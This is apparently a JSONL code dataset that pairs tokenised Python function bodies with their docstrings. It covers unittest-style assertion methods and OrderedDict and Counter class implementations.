{"signature": "def assertSequenceEqual(self, seq1, seq2, msg=None, seq_type=None):", "body": "if seq_type is not None:<EOL><INDENT>seq_type_name = seq_type.__name__<EOL>if not isinstance(seq1, seq_type):<EOL><INDENT>raise self.failureException('<STR_LIT>'<EOL>% (seq_type_name, safe_repr(seq1)))<EOL><DEDENT>if not isinstance(seq2, seq_type):<EOL><INDENT>raise self.failureException('<STR_LIT>'<EOL>% (seq_type_name, safe_repr(seq2)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>seq_type_name = \"<STR_LIT>\"<EOL><DEDENT>differing = None<EOL>try:<EOL><INDENT>len1 = len(seq1)<EOL><DEDENT>except (TypeError, NotImplementedError):<EOL><INDENT>differing = '<STR_LIT>' % (<EOL>seq_type_name)<EOL><DEDENT>if differing is None:<EOL><INDENT>try:<EOL><INDENT>len2 = len(seq2)<EOL><DEDENT>except (TypeError, NotImplementedError):<EOL><INDENT>differing = '<STR_LIT>' % (<EOL>seq_type_name)<EOL><DEDENT><DEDENT>if differing is None:<EOL><INDENT>if seq1 == seq2:<EOL><INDENT>return<EOL><DEDENT>seq1_repr = safe_repr(seq1)<EOL>seq2_repr = safe_repr(seq2)<EOL>if len(seq1_repr) > <NUM_LIT:30>:<EOL><INDENT>seq1_repr = seq1_repr[:<NUM_LIT:30>] + '<STR_LIT>'<EOL><DEDENT>if len(seq2_repr) > <NUM_LIT:30>:<EOL><INDENT>seq2_repr = seq2_repr[:<NUM_LIT:30>] + '<STR_LIT>'<EOL><DEDENT>elements = (seq_type_name.capitalize(), seq1_repr, seq2_repr)<EOL>differing = '<STR_LIT>' % elements<EOL>for i in range(min(len1, len2)):<EOL><INDENT>try:<EOL><INDENT>item1 = seq1[i]<EOL><DEDENT>except (TypeError, IndexError, NotImplementedError):<EOL><INDENT>differing += ('<STR_LIT>' %<EOL>(i, seq_type_name))<EOL>break<EOL><DEDENT>try:<EOL><INDENT>item2 = seq2[i]<EOL><DEDENT>except (TypeError, IndexError, NotImplementedError):<EOL><INDENT>differing += ('<STR_LIT>' %<EOL>(i, seq_type_name))<EOL>break<EOL><DEDENT>if item1 != item2:<EOL><INDENT>differing += ('<STR_LIT>' %<EOL>(i, safe_repr(item1), safe_repr(item2)))<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (len1 == len2 and seq_type is None and<EOL>type(seq1) != type(seq2)):<EOL><INDENT>return<EOL><DEDENT><DEDENT>if len1 > len2:<EOL><INDENT>differing += ('<STR_LIT>'<EOL>'<STR_LIT>' % (seq_type_name, len1 - len2))<EOL>try:<EOL><INDENT>differing += ('<STR_LIT>' %<EOL>(len2, safe_repr(seq1[len2])))<EOL><DEDENT>except (TypeError, IndexError, NotImplementedError):<EOL><INDENT>differing += ('<STR_LIT>'<EOL>'<STR_LIT>' % (len2, seq_type_name))<EOL><DEDENT><DEDENT>elif len1 < len2:<EOL><INDENT>differing += ('<STR_LIT>'<EOL>'<STR_LIT>' % (seq_type_name, len2 - len1))<EOL>try:<EOL><INDENT>differing += ('<STR_LIT>' %<EOL>(len1, safe_repr(seq2[len1])))<EOL><DEDENT>except (TypeError, IndexError, NotImplementedError):<EOL><INDENT>differing += ('<STR_LIT>'<EOL>'<STR_LIT>' % (len1, seq_type_name))<EOL><DEDENT><DEDENT><DEDENT>standardMsg = differing<EOL>diffMsg = '<STR_LIT:\\n>' + '<STR_LIT:\\n>'.join(<EOL>difflib.ndiff(pprint.pformat(seq1).splitlines(),<EOL>pprint.pformat(seq2).splitlines()))<EOL>standardMsg = self._truncateMessage(standardMsg, diffMsg)<EOL>msg = self._formatMessage(msg, standardMsg)<EOL>self.fail(msg)<EOL>", "docstring": "An equality assertion for ordered sequences (like lists and tuples).\n\n        For the purposes of this function, a valid ordered sequence type is one\n        which can be indexed, has a length, and has an equality operator.\n\n        Args:\n            seq1: The first sequence to compare.\n            seq2: The second sequence to compare.\n            seq_type: The expected datatype of the sequences, or None if no\n                    datatype should be enforced.\n            msg: Optional message to use on failure instead of a list of\n                    differences.", "id": "f16396:c5:m34"}
{"signature": "def assertListEqual(self, list1, list2, msg=None):", "body": "self.assertSequenceEqual(list1, list2, msg, seq_type=list)<EOL>", "docstring": "A list-specific equality assertion.\n\n        Args:\n            list1: The first list to compare.\n            list2: The second list to compare.\n            msg: Optional message to use on failure instead of a list of\n                    differences.", "id": "f16396:c5:m36"}
{"signature": "def assertTupleEqual(self, tuple1, tuple2, msg=None):", "body": "self.assertSequenceEqual(tuple1, tuple2, msg, seq_type=tuple)<EOL>", "docstring": "A tuple-specific equality assertion.\n\n        Args:\n            tuple1: The first tuple to compare.\n            tuple2: The second tuple to compare.\n            msg: Optional message to use on failure instead of a list of\n                    differences.", "id": "f16396:c5:m37"}
{"signature": "def assertSetEqual(self, set1, set2, msg=None):", "body": "try:<EOL><INDENT>difference1 = set1.difference(set2)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>self.fail('<STR_LIT>' % e)<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>self.fail('<STR_LIT>' % e)<EOL><DEDENT>try:<EOL><INDENT>difference2 = set2.difference(set1)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>self.fail('<STR_LIT>' % e)<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>self.fail('<STR_LIT>' % e)<EOL><DEDENT>if not (difference1 or difference2):<EOL><INDENT>return<EOL><DEDENT>lines = []<EOL>if difference1:<EOL><INDENT>lines.append('<STR_LIT>')<EOL>for item in difference1:<EOL><INDENT>lines.append(repr(item))<EOL><DEDENT><DEDENT>if difference2:<EOL><INDENT>lines.append('<STR_LIT>')<EOL>for item in difference2:<EOL><INDENT>lines.append(repr(item))<EOL><DEDENT><DEDENT>standardMsg = '<STR_LIT:\\n>'.join(lines)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL>", "docstring": "A set-specific equality assertion.\n\n        Args:\n            set1: The first set to compare.\n            set2: The second set to compare.\n            msg: Optional message to use on failure instead of a list of\n                    differences.\n\n        assertSetEqual uses ducktyping to support different types of sets, and\n        is optimized for sets specifically (parameters must support a\n        difference method).", "id": "f16396:c5:m38"}
{"signature": "def assertIn(self, member, container, msg=None):", "body": "if member not in container:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(member),<EOL>safe_repr(container))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a in b), but with a nicer default message.", "id": "f16396:c5:m39"}
{"signature": "def assertNotIn(self, member, container, msg=None):", "body": "if member in container:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(member),<EOL>safe_repr(container))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a not in b), but with a nicer default message.", "id": "f16396:c5:m40"}
{"signature": "def assertIs(self, expr1, expr2, msg=None):", "body": "if expr1 is not expr2:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(expr1),<EOL>safe_repr(expr2))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a is b), but with a nicer default message.", "id": "f16396:c5:m41"}
{"signature": "def assertIsNot(self, expr1, expr2, msg=None):", "body": "if expr1 is expr2:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(expr1),)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a is not b), but with a nicer default message.", "id": "f16396:c5:m42"}
{"signature": "def assertDictContainsSubset(self, expected, actual, msg=None):", "body": "missing = []<EOL>mismatched = []<EOL>for key, value in expected.items():<EOL><INDENT>if key not in actual:<EOL><INDENT>missing.append(key)<EOL><DEDENT>elif value != actual[key]:<EOL><INDENT>mismatched.append('<STR_LIT>' %<EOL>(safe_repr(key), safe_repr(value),<EOL>safe_repr(actual[key])))<EOL><DEDENT><DEDENT>if not (missing or mismatched):<EOL><INDENT>return<EOL><DEDENT>standardMsg = '<STR_LIT>'<EOL>if missing:<EOL><INDENT>standardMsg = '<STR_LIT>' % '<STR_LIT:U+002C>'.join(safe_repr(m) for m in<EOL>missing)<EOL><DEDENT>if mismatched:<EOL><INDENT>if standardMsg:<EOL><INDENT>standardMsg += '<STR_LIT>'<EOL><DEDENT>standardMsg += '<STR_LIT>' % '<STR_LIT:U+002C>'.join(mismatched)<EOL><DEDENT>self.fail(self._formatMessage(msg, standardMsg))<EOL>", "docstring": "Checks whether actual is a superset of expected.", "id": "f16396:c5:m44"}
{"signature": "def assertItemsEqual(self, expected_seq, actual_seq, msg=None):", "body": "first_seq, second_seq = list(expected_seq), list(actual_seq)<EOL>with warnings.catch_warnings():<EOL><INDENT>if sys.py3kwarning:<EOL><INDENT>for _msg in [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]:<EOL><INDENT>warnings.filterwarnings(\"<STR_LIT:ignore>\", _msg, DeprecationWarning)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>first = collections.Counter(first_seq)<EOL>second = collections.Counter(second_seq)<EOL><DEDENT>except TypeError:<EOL><INDENT>differences = _count_diff_all_purpose(first_seq, second_seq)<EOL><DEDENT>else:<EOL><INDENT>if first == second:<EOL><INDENT>return<EOL><DEDENT>differences = _count_diff_hashable(first_seq, second_seq)<EOL><DEDENT><DEDENT>if differences:<EOL><INDENT>standardMsg = '<STR_LIT>'<EOL>lines = ['<STR_LIT>' % diff for diff in differences]<EOL>diffMsg = '<STR_LIT:\\n>'.join(lines)<EOL>standardMsg = self._truncateMessage(standardMsg, diffMsg)<EOL>msg = self._formatMessage(msg, standardMsg)<EOL>self.fail(msg)<EOL><DEDENT>", "docstring": "An unordered sequence specific comparison. It asserts that\n        actual_seq and expected_seq have the same element counts.\n        Equivalent to::\n\n            self.assertEqual(Counter(iter(actual_seq)),\n                             Counter(iter(expected_seq)))\n\n        Asserts that each element has the same count in both sequences.\n        Example:\n            - [0, 1, 1] and [1, 0, 1] compare equal.\n            - [0, 0, 1] and [0, 1] compare unequal.", "id": "f16396:c5:m45"}
{"signature": "def assertMultiLineEqual(self, first, second, msg=None):", "body": "self.assertIsInstance(first, str,<EOL>'<STR_LIT>')<EOL>self.assertIsInstance(second, str,<EOL>'<STR_LIT>')<EOL>if first != second:<EOL><INDENT>if (len(first) > self._diffThreshold or<EOL>len(second) > self._diffThreshold):<EOL><INDENT>self._baseAssertEqual(first, second, msg)<EOL><DEDENT>firstlines = first.splitlines(True)<EOL>secondlines = second.splitlines(True)<EOL>if len(firstlines) == <NUM_LIT:1> and first.strip('<STR_LIT:\\r\\n>') == first:<EOL><INDENT>firstlines = [first + '<STR_LIT:\\n>']<EOL>secondlines = [second + '<STR_LIT:\\n>']<EOL><DEDENT>standardMsg = '<STR_LIT>' % (safe_repr(first, True),<EOL>safe_repr(second, True))<EOL>diff = '<STR_LIT:\\n>' + '<STR_LIT>'.join(difflib.ndiff(firstlines, secondlines))<EOL>standardMsg = self._truncateMessage(standardMsg, diff)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Assert that two multi-line strings are equal.", "id": "f16396:c5:m46"}
{"signature": "def assertLess(self, a, b, msg=None):", "body": "if not a < b:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(a), safe_repr(b))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a < b), but with a nicer default message.", "id": "f16396:c5:m47"}
{"signature": "def assertLessEqual(self, a, b, msg=None):", "body": "if not a <= b:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(a), safe_repr(b))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a <= b), but with a nicer default message.", "id": "f16396:c5:m48"}
{"signature": "def assertGreater(self, a, b, msg=None):", "body": "if not a > b:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(a), safe_repr(b))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a > b), but with a nicer default message.", "id": "f16396:c5:m49"}
{"signature": "def assertGreaterEqual(self, a, b, msg=None):", "body": "if not a >= b:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(a), safe_repr(b))<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Just like self.assertTrue(a >= b), but with a nicer default message.", "id": "f16396:c5:m50"}
{"signature": "def assertIsNone(self, obj, msg=None):", "body": "if obj is not None:<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(obj),)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Same as self.assertTrue(obj is None), with a nicer default message.", "id": "f16396:c5:m51"}
{"signature": "def assertIsNotNone(self, obj, msg=None):", "body": "if obj is None:<EOL><INDENT>standardMsg = '<STR_LIT>'<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Included for symmetry with assertIsNone.", "id": "f16396:c5:m52"}
{"signature": "def assertIsInstance(self, obj, cls, msg=None):", "body": "if not isinstance(obj, cls):<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(obj), cls)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Same as self.assertTrue(isinstance(obj, cls)), with a nicer\n        default message.", "id": "f16396:c5:m53"}
{"signature": "def assertNotIsInstance(self, obj, cls, msg=None):", "body": "if isinstance(obj, cls):<EOL><INDENT>standardMsg = '<STR_LIT>' % (safe_repr(obj), cls)<EOL>self.fail(self._formatMessage(msg, standardMsg))<EOL><DEDENT>", "docstring": "Included for symmetry with assertIsInstance.", "id": "f16396:c5:m54"}
{"signature": "def assertRaisesRegexp(self, expected_exception, expected_regexp,<EOL>callable_obj=None, *args, **kwargs):", "body": "if expected_regexp is not None:<EOL><INDENT>expected_regexp = re.compile(expected_regexp)<EOL><DEDENT>context = _AssertRaisesContext(expected_exception, self, expected_regexp)<EOL>if callable_obj is None:<EOL><INDENT>return context<EOL><DEDENT>with context:<EOL><INDENT>callable_obj(*args, **kwargs)<EOL><DEDENT>", "docstring": "Asserts that the message in a raised exception matches a regexp.\n\n        Args:\n            expected_exception: Exception class expected to be raised.\n            expected_regexp: Regexp (re pattern object or string) expected\n                    to be found in error message.\n            callable_obj: Function to be called.\n            args: Extra args.\n            kwargs: Extra kwargs.", "id": "f16396:c5:m55"}
{"signature": "def assertRegexpMatches(self, text, expected_regexp, msg=None):", "body": "if isinstance(expected_regexp, str):<EOL><INDENT>expected_regexp = re.compile(expected_regexp)<EOL><DEDENT>if not expected_regexp.search(text):<EOL><INDENT>msg = msg or \"<STR_LIT>\"<EOL>msg = '<STR_LIT>' % (msg, expected_regexp.pattern, text)<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "Fail the test unless the text matches the regular expression.", "id": "f16396:c5:m56"}
{"signature": "def assertNotRegexpMatches(self, text, unexpected_regexp, msg=None):", "body": "if isinstance(unexpected_regexp, str):<EOL><INDENT>unexpected_regexp = re.compile(unexpected_regexp)<EOL><DEDENT>match = unexpected_regexp.search(text)<EOL>if match:<EOL><INDENT>msg = msg or \"<STR_LIT>\"<EOL>msg = '<STR_LIT>' % (msg,<EOL>text[match.start():match.end()],<EOL>unexpected_regexp.pattern,<EOL>text)<EOL>raise self.failureException(msg)<EOL><DEDENT>", "docstring": "Fail the test if the text matches the regular expression.", "id": "f16396:c5:m57"}
{"signature": "def __init__(*args, **kwds):", "body": "if not args:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self = args[<NUM_LIT:0>]<EOL>args = args[<NUM_LIT:1>:]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(args))<EOL><DEDENT>try:<EOL><INDENT>self.__root<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.__root = root = []                     <EOL>root[:] = [root, root, None]<EOL>self.__map = {}<EOL><DEDENT>self.__update(*args, **kwds)<EOL>", "docstring": "Initialize an ordered dictionary.  The signature is the same as\n        regular dictionaries, but keyword arguments are not recommended because\n        their insertion order is arbitrary.", "id": "f16398:c0:m0"}
{"signature": "def __setitem__(self, key, value, dict_setitem=dict.__setitem__):", "body": "<EOL>if key not in self:<EOL><INDENT>root = self.__root<EOL>last = root[<NUM_LIT:0>]<EOL>last[<NUM_LIT:1>] = root[<NUM_LIT:0>] = self.__map[key] = [last, root, key]<EOL><DEDENT>return dict_setitem(self, key, value)<EOL>", "docstring": "od.__setitem__(i, y) <==> od[i]=y", "id": "f16398:c0:m1"}
{"signature": "def __delitem__(self, key, dict_delitem=dict.__delitem__):", "body": "<EOL>dict_delitem(self, key)<EOL>link_prev, link_next, _ = self.__map.pop(key)<EOL>link_prev[<NUM_LIT:1>] = link_next                        <EOL>link_next[<NUM_LIT:0>] = link_prev                        <EOL>", "docstring": "od.__delitem__(y) <==> del od[y]", "id": "f16398:c0:m2"}
{"signature": "def __iter__(self):", "body": "<EOL>root = self.__root<EOL>curr = root[<NUM_LIT:1>]                                  <EOL>while curr is not root:<EOL><INDENT>yield curr[<NUM_LIT:2>]                               <EOL>curr = curr[<NUM_LIT:1>]                              <EOL><DEDENT>", "docstring": "od.__iter__() <==> iter(od)", "id": "f16398:c0:m3"}
{"signature": "def __reversed__(self):", "body": "<EOL>root = self.__root<EOL>curr = root[<NUM_LIT:0>]                                  <EOL>while curr is not root:<EOL><INDENT>yield curr[<NUM_LIT:2>]                               <EOL>curr = curr[<NUM_LIT:0>]                              <EOL><DEDENT>", "docstring": "od.__reversed__() <==> reversed(od)", "id": "f16398:c0:m4"}
{"signature": "def clear(self):", "body": "root = self.__root<EOL>root[:] = [root, root, None]<EOL>self.__map.clear()<EOL>dict.clear(self)<EOL>", "docstring": "od.clear() -> None.  Remove all items from od.", "id": "f16398:c0:m5"}
{"signature": "def keys(self):", "body": "return list(self)<EOL>", "docstring": "od.keys() -> list of keys in od", "id": "f16398:c0:m6"}
{"signature": "def values(self):", "body": "return [self[key] for key in self]<EOL>", "docstring": "od.values() -> list of values in od", "id": "f16398:c0:m7"}
{"signature": "def items(self):", "body": "return [(key, self[key]) for key in self]<EOL>", "docstring": "od.items() -> list of (key, value) pairs in od", "id": "f16398:c0:m8"}
{"signature": "def iterkeys(self):", "body": "return iter(self)<EOL>", "docstring": "od.iterkeys() -> an iterator over the keys in od", "id": "f16398:c0:m9"}
{"signature": "def itervalues(self):", "body": "for k in self:<EOL><INDENT>yield self[k]<EOL><DEDENT>", "docstring": "od.itervalues -> an iterator over the values in od", "id": "f16398:c0:m10"}
{"signature": "def iteritems(self):", "body": "for k in self:<EOL><INDENT>yield (k, self[k])<EOL><DEDENT>", "docstring": "od.iteritems -> an iterator over the (key, value) pairs in od", "id": "f16398:c0:m11"}
{"signature": "def pop(self, key, default=__marker):", "body": "if key in self:<EOL><INDENT>result = self[key]<EOL>del self[key]<EOL>return result<EOL><DEDENT>if default is self.__marker:<EOL><INDENT>raise KeyError(key)<EOL><DEDENT>return default<EOL>", "docstring": "od.pop(k[,d]) -> v, remove specified key and return the corresponding\n        value.  If key is not found, d is returned if given, otherwise KeyError\n        is raised.", "id": "f16398:c0:m12"}
{"signature": "def setdefault(self, key, default=None):", "body": "if key in self:<EOL><INDENT>return self[key]<EOL><DEDENT>self[key] = default<EOL>return default<EOL>", "docstring": "od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od", "id": "f16398:c0:m13"}
{"signature": "def popitem(self, last=True):", "body": "if not self:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>key = next(reversed(self) if last else iter(self))<EOL>value = self.pop(key)<EOL>return key, value<EOL>", "docstring": "od.popitem() -> (k, v), return and remove a (key, value) pair.\n        Pairs are returned in LIFO order if last is true or FIFO order if false.", "id": "f16398:c0:m14"}
{"signature": "def __repr__(self, _repr_running={}):", "body": "call_key = id(self), _get_ident()<EOL>if call_key in _repr_running:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>_repr_running[call_key] = <NUM_LIT:1><EOL>try:<EOL><INDENT>if not self:<EOL><INDENT>return '<STR_LIT>' % (self.__class__.__name__,)<EOL><DEDENT>return '<STR_LIT>' % (self.__class__.__name__, self.items())<EOL><DEDENT>finally:<EOL><INDENT>del _repr_running[call_key]<EOL><DEDENT>", "docstring": "od.__repr__() <==> repr(od)", "id": "f16398:c0:m15"}
{"signature": "def __reduce__(self):", "body": "items = [[k, self[k]] for k in self]<EOL>inst_dict = vars(self).copy()<EOL>for k in vars(OrderedDict()):<EOL><INDENT>inst_dict.pop(k, None)<EOL><DEDENT>if inst_dict:<EOL><INDENT>return (self.__class__, (items,), inst_dict)<EOL><DEDENT>return self.__class__, (items,)<EOL>", "docstring": "Return state information for pickling", "id": "f16398:c0:m16"}
{"signature": "def copy(self):", "body": "return self.__class__(self)<EOL>", "docstring": "od.copy() -> a shallow copy of od", "id": "f16398:c0:m17"}
{"signature": "@classmethod<EOL><INDENT>def fromkeys(cls, iterable, value=None):<DEDENT>", "body": "self = cls()<EOL>for key in iterable:<EOL><INDENT>self[key] = value<EOL><DEDENT>return self<EOL>", "docstring": "OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S.\n        If not specified, the value defaults to None.", "id": "f16398:c0:m18"}
{"signature": "def __eq__(self, other):", "body": "if isinstance(other, OrderedDict):<EOL><INDENT>return dict.__eq__(self, other) and all(_imap(_eq, self, other))<EOL><DEDENT>return dict.__eq__(self, other)<EOL>", "docstring": "od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive\n        while comparison to a regular mapping is order-insensitive.", "id": "f16398:c0:m19"}
{"signature": "def __ne__(self, other):", "body": "return not self == other<EOL>", "docstring": "od.__ne__(y) <==> od!=y", "id": "f16398:c0:m20"}
{"signature": "def viewkeys(self):", "body": "return KeysView(self)<EOL>", "docstring": "od.viewkeys() -> a set-like object providing a view on od's keys", "id": "f16398:c0:m21"}
{"signature": "def viewvalues(self):", "body": "return ValuesView(self)<EOL>", "docstring": "od.viewvalues() -> an object providing a view on od's values", "id": "f16398:c0:m22"}
{"signature": "def viewitems(self):", "body": "return ItemsView(self)<EOL>", "docstring": "od.viewitems() -> a set-like object providing a view on od's items", "id": "f16398:c0:m23"}
{"signature": "def __init__(*args, **kwds):", "body": "if not args:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self = args[<NUM_LIT:0>]<EOL>args = args[<NUM_LIT:1>:]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(args))<EOL><DEDENT>super(Counter, self).__init__()<EOL>self.update(*args, **kwds)<EOL>", "docstring": "Create a new, empty Counter object.  And if given, count elements\n        from an input iterable.  Or, initialize the count from another mapping\n        of elements to their counts.\n\n        >>> c = Counter()                           # a new, empty counter\n        >>> c = Counter('gallahad')                 # a new counter from an iterable\n        >>> c = Counter({'a': 4, 'b': 2})           # a new counter from a mapping\n        >>> c = Counter(a=4, b=2)                   # a new counter from keyword args", "id": "f16398:c1:m0"}
{"signature": "def __missing__(self, key):", "body": "<EOL>return <NUM_LIT:0><EOL>", "docstring": "The count of elements not in the Counter is zero.", "id": "f16398:c1:m1"}
{"signature": "def most_common(self, n=None):", "body": "<EOL>if n is None:<EOL><INDENT>return sorted(self.iteritems(), key=_itemgetter(<NUM_LIT:1>), reverse=True)<EOL><DEDENT>return _heapq.nlargest(n, self.iteritems(), key=_itemgetter(<NUM_LIT:1>))<EOL>", "docstring": "List the n most common elements and their counts from the most\n        common to the least.  If n is None, then list all element counts.\n\n        >>> Counter('abcdeabcdabcaba').most_common(3)\n        [('a', 5), ('b', 4), ('c', 3)]", "id": "f16398:c1:m2"}
{"signature": "def elements(self):", "body": "<EOL>return _chain.from_iterable(_starmap(_repeat, self.iteritems()))<EOL>", "docstring": "Iterator over elements repeating each as many times as its count.\n\n        >>> c = Counter('ABCABC')\n        >>> sorted(c.elements())\n        ['A', 'A', 'B', 'B', 'C', 'C']\n\n        # Knuth's example for prime factors of 1836:  2**2 * 3**3 * 17**1\n        >>> prime_factors = Counter({2: 2, 3: 3, 17: 1})\n        >>> product = 1\n        >>> for factor in prime_factors.elements():     # loop over factors\n        ...     product *= factor                       # and multiply them\n        >>> product\n        1836\n\n        Note, if an element's count has been set to zero or is a negative\n        number, elements() will ignore it.", "id": "f16398:c1:m3"}
{"signature": "def update(*args, **kwds):", "body": "<EOL>if not args:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self = args[<NUM_LIT:0>]<EOL>args = args[<NUM_LIT:1>:]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(args))<EOL><DEDENT>iterable = args[<NUM_LIT:0>] if args else None<EOL>if iterable is not None:<EOL><INDENT>if isinstance(iterable, Mapping):<EOL><INDENT>if self:<EOL><INDENT>self_get = self.get<EOL>for elem, count in iterable.iteritems():<EOL><INDENT>self[elem] = self_get(elem, <NUM_LIT:0>) + count<EOL><DEDENT><DEDENT>else:<EOL><INDENT>super(Counter, self).update(iterable) <EOL><DEDENT><DEDENT>else:<EOL><INDENT>self_get = self.get<EOL>for elem in iterable:<EOL><INDENT>self[elem] = self_get(elem, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if kwds:<EOL><INDENT>self.update(kwds)<EOL><DEDENT>", "docstring": "Like dict.update() but add counts instead of replacing them.\n\n        Source can be an iterable, a dictionary, or another Counter instance.\n\n        >>> c = Counter('which')\n        >>> c.update('witch')           # add elements from another iterable\n        >>> d = Counter('watch')\n        >>> c.update(d)                 # add elements from another counter\n        >>> c['h']                      # four 'h' in which, witch, and watch\n        4", "id": "f16398:c1:m5"}
{"signature": "def subtract(*args, **kwds):", "body": "if not args:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self = args[<NUM_LIT:0>]<EOL>args = args[<NUM_LIT:1>:]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(args))<EOL><DEDENT>iterable = args[<NUM_LIT:0>] if args else None<EOL>if iterable is not None:<EOL><INDENT>self_get = self.get<EOL>if isinstance(iterable, Mapping):<EOL><INDENT>for elem, count in iterable.items():<EOL><INDENT>self[elem] = self_get(elem, <NUM_LIT:0>) - count<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for elem in iterable:<EOL><INDENT>self[elem] = self_get(elem, <NUM_LIT:0>) - <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if kwds:<EOL><INDENT>self.subtract(kwds)<EOL><DEDENT>", "docstring": "Like dict.update() but subtracts counts instead of replacing them.\n        Counts can be reduced below zero.  Both the inputs and outputs are\n        allowed to contain zero and negative counts.\n\n        Source can be an iterable, a dictionary, or another Counter instance.\n\n        >>> c = Counter('which')\n        >>> c.subtract('witch')             # subtract elements from another iterable\n        >>> c.subtract(Counter('watch'))    # subtract elements from another counter\n        >>> c['h']                          # 2 in which, minus 1 in witch, minus 1 in watch\n        0\n        >>> c['w']                          # 1 in which, minus 1 in witch, minus 1 in watch\n        -1", "id": "f16398:c1:m6"}
{"signature": "def copy(self):", "body": "return self.__class__(self)<EOL>", "docstring": "Return a shallow copy.", "id": "f16398:c1:m7"}
{"signature": "def __delitem__(self, elem):", "body": "if elem in self:<EOL><INDENT>super(Counter, self).__delitem__(elem)<EOL><DEDENT>", "docstring": "Like dict.__delitem__() but does not raise KeyError for missing values.", "id": "f16398:c1:m9"}
{"signature": "def __add__(self, other):", "body": "if not isinstance(other, Counter):<EOL><INDENT>return NotImplemented<EOL><DEDENT>result = Counter()<EOL>for elem, count in self.items():<EOL><INDENT>newcount = count + other[elem]<EOL>if newcount > <NUM_LIT:0>:<EOL><INDENT>result[elem] = newcount<EOL><DEDENT><DEDENT>for elem, count in other.items():<EOL><INDENT>if elem not in self and count > <NUM_LIT:0>:<EOL><INDENT>result[elem] = count<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Add counts from two counters.\n\n        >>> Counter('abbb') + Counter('bcc')\n        Counter({'b': 4, 'c': 2, 'a': 1})", "id": "f16398:c1:m11"}
{"signature": "def __sub__(self, other):", "body": "if not isinstance(other, Counter):<EOL><INDENT>return NotImplemented<EOL><DEDENT>result = Counter()<EOL>for elem, count in self.items():<EOL><INDENT>newcount = count - other[elem]<EOL>if newcount > <NUM_LIT:0>:<EOL><INDENT>result[elem] = newcount<EOL><DEDENT><DEDENT>for elem, count in other.items():<EOL><INDENT>if elem not in self and count < <NUM_LIT:0>:<EOL><INDENT>result[elem] = <NUM_LIT:0> - count<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Subtract count, but keep only results with positive counts.\n\n        >>> Counter('abbbc') - Counter('bccd')\n        Counter({'b': 2, 'a': 1})", "id": "f16398:c1:m12"}
